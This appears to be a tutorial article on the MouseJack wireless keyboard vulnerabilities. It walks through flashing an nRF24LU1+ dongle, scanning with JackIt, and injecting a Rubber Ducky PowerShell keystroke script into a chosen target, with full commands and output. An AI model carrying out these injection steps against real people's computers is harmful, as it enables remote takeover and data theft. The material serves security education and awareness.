MouseJack vulnerabilities were disclosed over three years ago. Some wireless keyboard manufacturers have since issued firmware updates, but millions (if not billions) of keyboards remain unpatched worldwide, either because they can't be updated or because the manufacturer never bothered to issue one.
According to Bastille, "MouseJack is a class of vulnerabilities that affects the vast majority of wireless, non-Bluetooth keyboards and mice." Led by Marc Newlin, MouseJack takes advantage of a USB dongle's (shown below) willingness to accept unencrypted keystrokes from surrounding devices.
However, the concept of keystroke sniffing and injection was first made public by Thorsten Schroeder and Max Moser in 2010. Later, Travis Goodspeed published "Promiscuity is the nRF24L01+'s Duty," which expanded on the duo's work. In 2015, Samy Kamkar debuted KeySweeper, an Arduino-based USB wall charger designed to passively sniff and log keystrokes made by Microsoft keyboards.
- Don't Miss: A Hacker's Guide to Programming Microcontrollers
Marc discovered that wireless mice and keyboards manufactured by AmazonBasics, Dell, Gigabyte, HP, Lenovo, Logitech, and Microsoft were all affected by many of the MouseJack vulnerabilities. An attacker with a Crazyradio PA device (nRF24LU1+) can inject keystrokes into most of these USB dongles as well as sniff keystrokes and perform denial-of-service attacks. Ultimately, it allows the attacker to compromise and remotely control a computer from up to 250 feet away.
To follow along with the guide below, you will need a nRF24LU1+ wireless transceiver such as the Crazyradio PA or something similar.
To get started, new nRF24LU1+ hardware will need to be flashed with custom firmware to scan for vulnerable devices and inject keystrokes. First, make sure Kali's APT package index is up to date:
~$ apt-get update
Several dependencies are required to execute the Python scripts used to build and automate the flashing process. Use the below apt-get command to make sure Git, Python, and other required packages are installed and up to date.
~$ apt-get install sdcc binutils python python-pip git Reading package lists... Done Building dependency tree Reading state information... Done python is already the newest version (2.7.16-1). python-pip is already the newest version (18.1-5). The following packages were automatically installed and are no longer required: libpython3.6-minimal libpython3.6-stdlib python3.6 python3.6-minimal Use 'sudo apt autoremove' to remove them. The following additional packages will be installed: binutils-common binutils-x86-64-linux-gnu gputils gputils-common gputils-doc libbinutils sdcc-doc sdcc-libraries Suggested packages: binutils-doc sdcc-ucsim The following NEW packages will be installed: gputils gputils-common gputils-doc sdcc sdcc-doc sdcc-libraries The following packages will be upgraded: binutils binutils-common binutils-x86-64-linux-gnu libbinutils 4 upgraded, 6 newly installed, 0 to remove and 108 not upgraded. Need to get 9,868 kB of archives. After this operation, 63.7 MB of additional disk space will be used. Do you want to continue? [Y/n]
The version of PIP available in Kali's repository might be a bit outdated. Update it with the following command.
~$ pip install --upgrade pip Collecting pip Downloading https://files.pythonhosted.org/packages/f9/fb/863012b13912709c13cf5cfdbfb304fa6c727659d6290438e1a88df9d848/pip-19.1-py2.py3-none-any.whl (1.4MB) 100% |████████████████████████████████| 1.4MB 114kB/s Installing collected packages: pip Found existing installation: pip 18.1 Not uninstalling pip at /usr/lib/python2.7/dist-packages, outside environment /usr Can't uninstall 'pip'. No files were found to uninstall. Successfully installed pip-19.1
~$ pip install --upgrade -I pyusb DEPRECATION: Python 2.7 will reach the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 won't be maintained after that date. A future version of pip will drop support for Python 2.7. Collecting pyusb Downloading https://files.pythonhosted.org/packages/5f/34/2095e821c01225377dda4ebdbd53d8316d6abb243c9bee43d3888fa91dd6/pyusb-1.0.2.tar.gz (54kB) |████████████████████████████████| 61kB 82kB/s Building wheels for collected packages: pyusb Building wheel for pyusb (setup.py) ... done Stored in directory: /root/.cache/pip/wheels/1f/a9/7e/d189b5030ee3a56f9b72c28281bb11d661b8ea312e28de08a5 Successfully built pyusb Installing collected packages: pyusb Successfully installed pyusb-1.0.2
And finally, install the last PlatformIO package, an open-source ecosystem for IoT development.
~$ pip install --upgrade platformio Collecting platformio Downloading https://files.pythonhosted.org/packages/fe/01/69aa7d8ef8cd74493338396ff86dc1bbfe85ae58b77fc705924c920a38eb/platformio-3.6.7-py27-none-any.whl (161kB) |████████████████████████████████| 163kB 92kB/s Collecting pyserial!=3.3,<4,>=3 (from platformio) Downloading https://files.pythonhosted.org/packages/0d/e4/2a744dd9e3be04a0c0907414e2a01a7c88bb3915cbe3c8cc06e209f59c30/pyserial-3.4-py2.py3-none-any.whl (193kB) |████████████████████████████████| 194kB 179kB/s Requirement already satisfied, skipping upgrade: requests<3,>=2.4.0 in /usr/lib/python2.7/dist-packages (from platformio) (2.21.0) Collecting click<6,>=5 (from platformio) Downloading https://files.pythonhosted.org/packages/8f/98/14966b6d772fd5fba1eb3bb34a62a7f736d609572493397cdc5715c14514/click-5.1-py2.py3-none-any.whl (65kB) |████████████████████████████████| 71kB 188kB/s Requirement already satisfied, skipping upgrade: colorama in /usr/lib/python2.7/dist-packages (from platformio) (0.3.7) Collecting bottle<0.13 (from platformio) Downloading https://files.pythonhosted.org/packages/32/4e/ed046324d5ec980c252987c1dca191e001b9f06ceffaebf037eef469937c/bottle-0.12.16.tar.gz (72kB) |████████████████████████████████| 81kB 153kB/s Collecting semantic-version<3,>=2.5.0 (from platformio) Downloading https://files.pythonhosted.org/packages/72/83/f76958017f3094b072d8e3a72d25c3ed65f754cc607fdb6a7b33d84ab1d5/semantic_version-2.6.0.tar.gz Building wheels for collected packages: bottle, semantic-version Building wheel for bottle (setup.py) ... done Stored in directory: /root/.cache/pip/wheels/0c/68/ac/1546dcb27101ca6c4e50c5b5da92dbd3307f07cda5d88e81c7 Building wheel for semantic-version (setup.py) ... done Stored in directory: /root/.cache/pip/wheels/60/bb/50/215d669d31f992767f5dd8d3c974e79261707ee7f898f0dc10 Successfully built bottle semantic-version Installing collected packages: pyserial, click, bottle, semantic-version, platformio Found existing installation: Click 7.0 Uninstalling Click-7.0: Successfully uninstalled Click-7.0 Successfully installed bottle-0.12.16 click-5.1 platformio-3.6.7 pyserial-3.4 semantic-version-2.6.0
Clone the MouseJack repository of scripts on GitHub into the /opt directory.
~$ git clone https://github.com/BastilleResearch/mousejack /opt/mousejack Cloning into '/opt/mousejack'... remote: Enumerating objects: 285, done. remote: Total 285 (delta 0), reused 0 (delta 0), pack-reused 285 Receiving objects: 100% (285/285), 8.63 MiB | 353.00 KiB/s, done. Resolving deltas: 100% (131/131), done.
Change into the new mousejack/ directory.
~$ cd /opt/mousejack/
/opt/mousejack$ git submodule init Submodule 'nrf-research-firmware' (https://github.com/BastilleResearch/nrf-research-firmware.git) registered for path 'nrf-research-firmware'
Then, use the submodule update options to fetch all the data and checkout the appropriate commit listed.
/opt/mousejack$ git submodule update Cloning into '/opt/mousejack/nrf-research-firmware'... Submodule path 'nrf-research-firmware': checked out '02b84d1c4e59c0fb98263c83b2e7c7f9863a3b93'
Change into the nrf-research-firmware/ directory.
/opt/mousejack$ cd nrf-research-firmware/
/nrf-research-firmware$ make mkdir -p bin sdcc --model-large --std-c99 -c src/main.c -o bin/main.rel sdcc --model-large --std-c99 -c src/usb.c -o bin/usb.rel sdcc --model-large --std-c99 -c src/usb_desc.c -o bin/usb_desc.rel sdcc --model-large --std-c99 -c src/radio.c -o bin/radio.rel sdcc --xram-loc 0x8000 --xram-size 2048 --model-large bin/main.rel bin/usb.rel bin/usb_desc.rel bin/radio.rel -o bin/dongle.ihx objcopy -I ihex bin/dongle.ihx -O binary bin/dongle.bin objcopy --pad-to 26622 --gap-fill 255 -I ihex bin/dongle.ihx -O binary bin/dongle.formatted.bin objcopy -I binary bin/dongle.formatted.bin -O ihex bin/dongle.formatted.ihx
At this point, the nRF24LU1+ device should be inserted into the computer. Then, execute the make install command.
/nrf-research-firmware$ make install ./prog/usb-flasher/usb-flash.py bin/dongle.bin [2019-04-25 23:55:44.351] Looking for a compatible device that can jump to the Nordic bootloader [2019-04-25 23:55:44.378] Device found, jumping to the Nordic bootloader [2019-04-25 23:55:44.969] Looking for a device running the Nordic bootloader [2019-04-25 23:55:45.171] Writing image to flash [2019-04-25 23:55:45.808] Verifying write [2019-04-25 23:55:45.867] Firmware programming completed successfully [2019-04-25 23:55:45.867] Please unplug your dongle or breakout board and plug it back in.
As instructed, unplug the nRF24LU1+ from the computer. To verify the firmware was flashed, plug the nRF24LU1+ device back into the computer and use the dmesg command. The product and manufacture lines should read "Research Firmware" and "RFStorm," respectively.
/nrf-research-firmware$ dmesg [ 2433.986481] usb 2-1: new full-speed USB device number 3 using xhci_hcd [ 2434.136930] usb 2-1: New USB device found, idVendor=1915, idProduct=0102, bcdDevice= 0.01 [ 2434.136938] usb 2-1: New USB device strings: Mfr=1, Product=2, SerialNumber=0 [ 2434.136942] usb 2-1: Product: Research Firmware [ 2434.136946] usb 2-1: Manufacturer: RFStorm
With the nRF24LU1+ device set up, it's now possible to scan the surrounding area for wireless mice and keyboards. There are several great Python scripts included in the MouseJack repository, but we'll instead use the JackIt script to automate keystroke injection.
Start by downloading the JackIt repository.
~$ git clone https://github.com/insecurityofthings/jackit.git /opt/jackit Cloning into '/opt/jackit'... remote: Enumerating objects: 718, done. remote: Total 718 (delta 0), reused 0 (delta 0), pack-reused 718 Receiving objects: 100% (718/718), 171.39 KiB | 153.00 KiB/s, done. Resolving deltas: 100% (439/439), done.
Change into the new jackit/ directory.
~$ cd /opt/jackit/
List the directory contents.
/opt/jackit$ ls -la total 48 drwxr-xr-x 6 root root 4096 Apr 26 22:25 . drwxr-xr-x 6 root root 4096 Apr 26 22:25 .. drwxr-xr-x 2 root root 4096 Apr 26 22:25 bin drwxr-xr-x 2 root root 4096 Apr 26 22:25 examples drwxr-xr-x 8 root root 4096 Apr 26 22:25 .git -rw-r--r-- 1 root root 1072 Apr 26 22:25 .gitignore drwxr-xr-x 5 root root 4096 Apr 26 22:25 jackit -rw-r--r-- 1 root root 4743 Apr 26 22:25 README.md -rw-r--r-- 1 root root 52 Apr 26 22:25 requirements.txt -rwxr-xr-x 1 root root 594 Apr 26 22:25 setup.py -rw-r--r-- 1 root root 289 Apr 26 22:25 tox.ini
We'll find a "requirements.txt" file. This indicates there are several dependencies that should be installed with PIP. That's it for the setup.
/opt/jackit$ pip install -e . Obtaining file:///opt/jackit Requirement already satisfied: click==5.1 in /usr/local/lib/python2.7/dist-packages (from JackIt==0.1.0) (5.1) Collecting pyusb==1.0.0 (from JackIt==0.1.0) Downloading https://files.pythonhosted.org/packages/8a/19/66fb48a4905e472f5dfeda3a1bafac369fbf6d6fc5cf55b780864962652d/PyUSB-1.0.0.tar.gz (52kB) |████████████████████████████████| 61kB 81kB/s Collecting six==1.10.0 (from JackIt==0.1.0) Downloading https://files.pythonhosted.org/packages/c8/0a/b6723e1bc4c516cb687841499455a8505b44607ab535be01091c0f24f079/six-1.10.0-py2.py3-none-any.whl Collecting tabulate==0.7.5 (from JackIt==0.1.0) Downloading https://files.pythonhosted.org/packages/db/40/6ffc855c365769c454591ac30a25e9ea0b3e8c952a1259141f5b9878bd3d/tabulate-0.7.5.tar.gz Building wheels for collected packages: pyusb, tabulate Building wheel for pyusb (setup.py) ... done Stored in directory: /root/.cache/pip/wheels/a6/69/c7/258e736ee9bdb4553bd9701424b259436b979cf96201af612f Building wheel for tabulate (setup.py) ... done Stored in directory: /root/.cache/pip/wheels/96/9c/9a/369b6376b11523584a6040a89488c28f0f88cb52167dceb648 Successfully built pyusb tabulate Installing collected packages: pyusb, six, tabulate, JackIt Found existing installation: pyusb 1.0.2 Uninstalling pyusb-1.0.2: Successfully uninstalled pyusb-1.0.2 Found existing installation: six 1.12.0 Uninstalling six-1.12.0: Successfully uninstalled six-1.12.0 Running setup.py develop for JackIt Successfully installed JackIt pyusb-1.0.0 six-1.10.0 tabulate-0.7.5
Scan the surrounding area for vulnerable devices by simply typing jackit into any terminal.
~$ jackit ____. __ .___ __ | |____ ____ | | _| |/ |_ | \__ \ _/ ___\| |/ / \ __\ /\__| |/ __ \\ \___| <| || | \________(____ /\___ >__|_ \___||__| \/ \/ \/ JackIt Version 1.00 Created by phikshun, infamy [!] You must supply a ducky script using --script <filename> [!] Attacks are disabled. [+] Starting scan... [+] Scanning every 5s CTRL-C when ready. KEY ADDRESS CHANNELS COUNT SEEN TYPE PACKET ----- -------------- ------------------------ ------- ----------- ------------ ----------------------------- 1 C7:D4:21:98:07 74 3 0:00:07 ago Logitech HID 00:C2:00:00:03:10:00:00:00:2B
JackIt will continuously scan the area for wireless mice and keyboards. A vulnerable device will identify its address (serial number), channel, and type in the terminal. This information can be used for a targeted attack. For example, the below USB Rubber Ducky payload can be used to open a run window and inject keystrokes into the target computer.
GUI r DELAY 1000 STRING powershell <payload here> ENTER
To use USB Rubber Ducky script with JackIt, use the following command.
~$ jackit --reset --address C7:D4:21:98:07 --vendor Logitech --script /path/to/ducky/script.txt
Press Ctrl + c to stop scanning. JackIt will ask which address to inject the keystrokes. This is a targeted attack, so only one serial number will appear in the scan. Press 1, then press Enter.
[+] Sniffing for C7:D4:21:98:07 every 5s CTRL-C when ready. KEY ADDRESS CHANNELS COUNT SEEN TYPE PACKET ----- -------------- ---------- ------- ----------- ------------ ----------------------------- 1 C7:D4:21:98:07 2 1 0:00:10 ago Logitech HID 00:C2:00:00:00:00:00:00:00:00 ^C [+] Select target keys (1-1) separated by commas, or 'all': [all]: 1 [+] Ping success on channel 65 [+] Sending attack to C7:D4:21:98:07 [Logitech HID] on channel 65 [+] All attacks completed
When the keystrokes are injected, the device will perform the following commands.
The Ducky Script will open the run window and type some arbitrary text. More complex PowerShell attacks may include Wi-Fi password exfiltration, live streaming the Windows 10 desktop, and Powercat reverse shells with payloads hosted on Microsoft servers.
There are still so many vulnerable mice and keyboards in the wild. Since Marc and Bastille released the MouseJack white paper in 2016, some vendors have issued firmware updates for products not utilizing one-time programmable memory (PROM). Still, most vulnerable USB dongles can't be patched due to hardware limitations. Even if they are patched, such as with some Logitech devices that are updated manually, they can still be vulnerable to attacks. Other vendors have pushed firmware updates going forward, but that doesn't mean those devices are safe, leaving an unknown number of vulnerable products still in use worldwide.
Thanks for reading! If you have any questions, you can leave a comment here or message me on Twitter @tokyoneon_.